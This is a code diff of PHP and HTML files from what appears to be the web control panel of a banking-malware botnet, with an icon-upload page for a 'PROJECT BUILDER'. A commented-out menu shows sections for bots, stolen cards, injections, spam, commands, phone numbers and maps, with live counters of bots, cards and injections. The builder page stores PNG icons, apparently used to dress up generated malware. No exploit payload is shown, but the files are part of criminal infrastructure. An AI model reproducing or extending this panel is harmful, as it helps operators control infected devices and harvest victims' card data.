|
||||
|
||||
<!--Exit-->
|
||||
<div style=" position: absolute; top: 28px; right: 20px; width: auto; height: auto;">
|
||||
<li class="nav-item" style="">
|
||||
<a class="nav-link" href="?cont=exit">
|
||||
<center>
|
||||
<i class="fa fa-power-off fa-3x">
|
||||
<span class="sr-only">(current)</span>
|
||||
</i></br>
|
||||
|
||||
</center>
|
||||
</a>
|
||||
</li>
|
||||
</div>
|
||||
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!--fokjngoksgnegnsfqe
|
||||
<ul>
|
||||
|
||||
<li style="float:left; padding-left: 3px;"><img src="images/icons/panel/header.png" width='104px'/></li>
|
||||
<div class="ac">
|
||||
|
||||
<div class="exit">
|
||||
<li style="padding-top:0px;"><a href="?cont=exit"><img src="images/icons/panel/exit.png" width='50px'/></a></li>
|
||||
</div>
|
||||
|
||||
<?php
|
||||
if ($_SESSION['panel_right']=="admin"){
|
||||
echo "<li style='padding-top:0px;'><a href='?cont=settings&page='><img src='images/icons/panel/settings.png' height='50px'width='30px'/></a></li>";
|
||||
}
|
||||
|
||||
|
||||
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
|
||||
$functions = new functions;
|
||||
$getBots = $functions->getBots();
|
||||
$getCards = $functions->getCards();
|
||||
$getInjections = $functions->getInjections();
|
||||
|
||||
echo "
|
||||
<li style='padding-top:0px;'><a href='?cont=commands'><img src='images/icons/panel/comands.png' height='50px'width='30px'/></a></li>
|
||||
|
||||
<li style='padding-top:0px;'><a href='?cont=maps'><img src='images/icons/panel/map.png' height='50px'width='30px'/></a></li>
|
||||
|
||||
<li style='padding-top:0px;'><a href='?cont=spam'><img src='images/icons/panel/spam.png' height='50px'width='30px'/></a></li>
|
||||
";
|
||||
if ($_SESSION['panel_right']=="admin"){
|
||||
echo "<li style='padding-top:0px;'><a href='?cont=files'><img src='images/icons/panel/files.png' height='50px'width='30px'/></a></li>
|
||||
";
|
||||
}
|
||||
|
||||
|
||||
echo"
|
||||
<li style='padding-top:0px;'><a href='?cont=ws&page='><img src='images/icons/panel/websocket.png' height='50px'width='30px'/></a></li>
|
||||
|
||||
<li style='padding-top:0px;'><a href='?cont=injections&find='>
|
||||
<p class='icon_label' style='margin-left:25px;'>$getInjections</p>
|
||||
<img src='images/icons/panel/injections.png' height='50px'width='30px'/>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li style='padding-top:0px;'><a href='?cont=cards&find='>
|
||||
<p class='icon_label' style='margin-left:25px;'>$getCards</p>
|
||||
<img src='images/icons/panel/cards.png' height='50px'width='30px'/>
|
||||
</a>
|
||||
</li>";
|
||||
|
||||
if ($_SESSION['panel_right']=="admin"){
|
||||
echo "<li style='padding-top:0px;'><a href='?cont=numbers'><img src='images/icons/panel/contacticon.png' height='50px'width='30px'/></a></li>";
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
|
||||
<li style='padding-top:0px;'><a href="?cont=statistic"><img src="images/icons/panel/statistic.png" height='50px'width='30px'/></a></li>
|
||||
|
||||
<li style="padding-top:0px;"><a href="?cont=bots&page=1">
|
||||
<p class="icon_label"><?php echo $getBots;?></p>
|
||||
<img src="images/icons/panel/bots.png" height='50px'width='30px'/>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
|
||||
</div>
|
||||
<li style="padding-top:0px;"><a><img src="images/not.png" width='0px' height='50px'/></a></li>
|
||||
|
||||
|
||||
</ul>
|
||||
-->
|
||||
</div>
|
||||
@@ -0,0 +1,204 @@
|
||||
<?php
|
||||
|
||||
|
||||
|
||||
include_once "config.php";
|
||||
|
||||
|
||||
$conn = mysqli_connect($sname, $uname, $password, $db_name);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
$em = "" ;
|
||||
if (!$conn) {
|
||||
echo "Connection failed!";
|
||||
exit();
|
||||
}
|
||||
if (isset($_POST['submit']) && isset($_FILES['my_image'])) {
|
||||
|
||||
|
||||
//echo "<pre>";
|
||||
//print_r($_FILES['my_image']);
|
||||
//echo "</pre>";
|
||||
|
||||
$img_name = $_FILES['my_image']['name'];
|
||||
$img_size = $_FILES['my_image']['size'];
|
||||
$tmp_name = $_FILES['my_image']['tmp_name'];
|
||||
$error = $_FILES['my_image']['error'];
|
||||
|
||||
if ($error === 0) {
|
||||
if ($img_size > 125000) {
|
||||
$em = "Sorry, your file is too large.";
|
||||
header("Location: index.php?error=$em");
|
||||
}else {
|
||||
$img_ex = pathinfo($img_name, PATHINFO_EXTENSION);
|
||||
$img_ex_lc = strtolower($img_ex);
|
||||
|
||||
$allowed_exs = array("png");
|
||||
|
||||
if (in_array($img_ex_lc, $allowed_exs)) {
|
||||
$new_img_name = uniqid("IMG_", true).'.'.$img_ex_lc;
|
||||
$img_upload_path = 'icons/'.$new_img_name;
|
||||
move_uploaded_file($tmp_name, $img_upload_path);
|
||||
|
||||
// Insert into Database
|
||||
$sql = "INSERT INTO images(image_url)
|
||||
VALUES('$new_img_name')";
|
||||
mysqli_query($conn, $sql);
|
||||
header("Location: icon.php");
|
||||
}else {
|
||||
$em = "You can't upload files of this type";
|
||||
|
||||
}
|
||||
}
|
||||
}else {
|
||||
$em = "unknown error occurred!";
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
?>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
|
||||
|
||||
|
||||
<html>
|
||||
<head >
|
||||
<title>PROJECT BUILDER</title>
|
||||
|
||||
|
||||
|
||||
<link href="styles/menu.css" rel="stylesheet"/>
|
||||
<link href="styles/index.css" rel="stylesheet"/>
|
||||
<link href="styles/btn.css" rel="stylesheet"/>
|
||||
<link href="styles/modul_form.css" rel="stylesheet"/>
|
||||
<link rel="stylesheet" href="styles/style.css"/>
|
||||
<link href="styles/modul_form_log.css" rel="stylesheet"/>
|
||||
<link href="styles/modul_form_set.css" rel="stylesheet"/>
|
||||
|
||||
|
||||
<link rel="shortcut icon" href="/images/icon3.png" type="image/png"/>
|
||||
|
||||
|
||||
|
||||
<script src="styles/bootstrap/js/bootstrap.min.js"></script>
|
||||
<script type="text/javascript" src="js/jquery.min.js"></script>
|
||||
|
||||
<link href="styles/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="styles/bootstrap/css/style.css"/>
|
||||
<script src="styles/bootstrap/js/bootstrap.min.js"></script>
|
||||
<script src="js/alert.js"></script>
|
||||
<script src="js/amrnb.js" defer></script>
|
||||
|
||||
</head>
|
||||
|
||||
<body bgcolor="#1A2028">
|
||||
<div class="menu header">
|
||||
|
||||
<ul>
|
||||
|
||||
<li style="float:left; padding-left: 3px;"><img src="images/icons/panel/oqJNeIC2.png" width='104px'/></li>
|
||||
<div class="ac">
|
||||
|
||||
<!--
|
||||
<div class="exit">
|
||||
<li style="padding-top:0px;"><a href="?cont=exit"><img src="images/icons/panel/exit.png" width='50px'/></a></li>
|
||||
</div>
|
||||
-->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<li style="padding-top:0px;"><a href="build.php?cont=icons">
|
||||
<img src="images/icons/panel/files.png" height='50px'width='30px'/> Builder
|
||||
</a>
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
<li style="padding-top:0px;"><a><img src="images/not.png" width='0px' height='50px'/></a></li>
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
<br />
|
||||
<br />
|
||||
<br />
|
||||
<center>
|
||||
<h3 style="color: white">Icons</h3>
|
||||
<br>
|
||||
<h3 style="color: white"><?php echo $em ; ?></h3>
|
||||
<div style="width:30%; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;">
|
||||
|
||||
<form action="" method="post" enctype="multipart/form-data">
|
||||
<br />
|
||||
<p style="color: white">Choose PNG file:</p>
|
||||
<input type="file" name="my_image" accept=".png"/>
|
||||
</br>
|
||||
<input type="submit" name="submit" value="Upload" style=" border: 1px solid #000" class="btn btn-default btn">
|
||||
</form>
|
||||
</center>
|
||||
|
||||
<div class="content" style="padding-top:15px;">
|
||||
<table class="table table-hover table_dark" id="bootstrap-table">
|
||||
<thead class="header_table_bots">
|
||||
<th><a style='color: #EDB749;'>File Name</a></th>
|
||||
<th><a style='color: #EDB749;' title="Icons">Icons</a></th>
|
||||
<!--
|
||||
<th><a title="Delete"><img src="images/icons/table/icloud.png" width='25px'/></a></th>
|
||||
-->
|
||||
</thead>
|
||||
<?php
|
||||
|
||||
$query = "SELECT * FROM images ORDER BY id ASC";
|
||||
$result = mysqli_query($conn, $query);
|
||||
if(mysqli_num_rows($result) > 0)
|
||||
{
|
||||
while($row = mysqli_fetch_array($result))
|
||||
{
|
||||
|
||||
?>
|
||||
|
||||
|
||||
<tr class='table_bots' style='color: #A4A4A4'>
|
||||
<td><a title=" <?php echo $row['image_url'] ?> " style='font-size: 15pt'><?php echo $row['image_url'] ?></a></td>
|
||||
<td><a title='Icon'><img width=64 src='icons/<?php echo $row['image_url'] ?>'></img></a></td>
|
||||
<!-- <td><a href='application/set/deleteFile.php?t=png&f=$image_url'>Delete</a></td> -->
|
||||
</tr>
|
||||
|
||||
<?php } } ?>
|
||||
|
||||
</table>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</html>
|
||||
|
After Width: | Height: | Size: 3.5 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 360 B |
|
After Width: | Height: | Size: 157 B |
|
After Width: | Height: | Size: 357 B |
|
After Width: | Height: | Size: 554 B |
|
After Width: | Height: | Size: 459 B |
|
After Width: | Height: | Size: 390 B |
|
After Width: | Height: | Size: 127 B |
|
After Width: | Height: | Size: 229 B |
|
After Width: | Height: | Size: 301 B |
|
After Width: | Height: | Size: 428 B |
|
After Width: | Height: | Size: 219 B |
|
After Width: | Height: | Size: 484 B |
|
After Width: | Height: | Size: 112 B |
|
After Width: | Height: | Size: 490 B |
|
After Width: | Height: | Size: 216 B |
|
After Width: | Height: | Size: 249 B |
|
After Width: | Height: | Size: 221 B |
|
After Width: | Height: | Size: 357 B |
|
After Width: | Height: | Size: 330 B |
|
After Width: | Height: | Size: 298 B |
|
After Width: | Height: | Size: 120 B |
|
After Width: | Height: | Size: 237 B |
|
After Width: | Height: | Size: 130 B |
|
After Width: | Height: | Size: 284 B |
|
After Width: | Height: | Size: 695 B |
|
After Width: | Height: | Size: 161 B |
|
After Width: | Height: | Size: 511 B |
|
After Width: | Height: | Size: 515 B |
|
After Width: | Height: | Size: 115 B |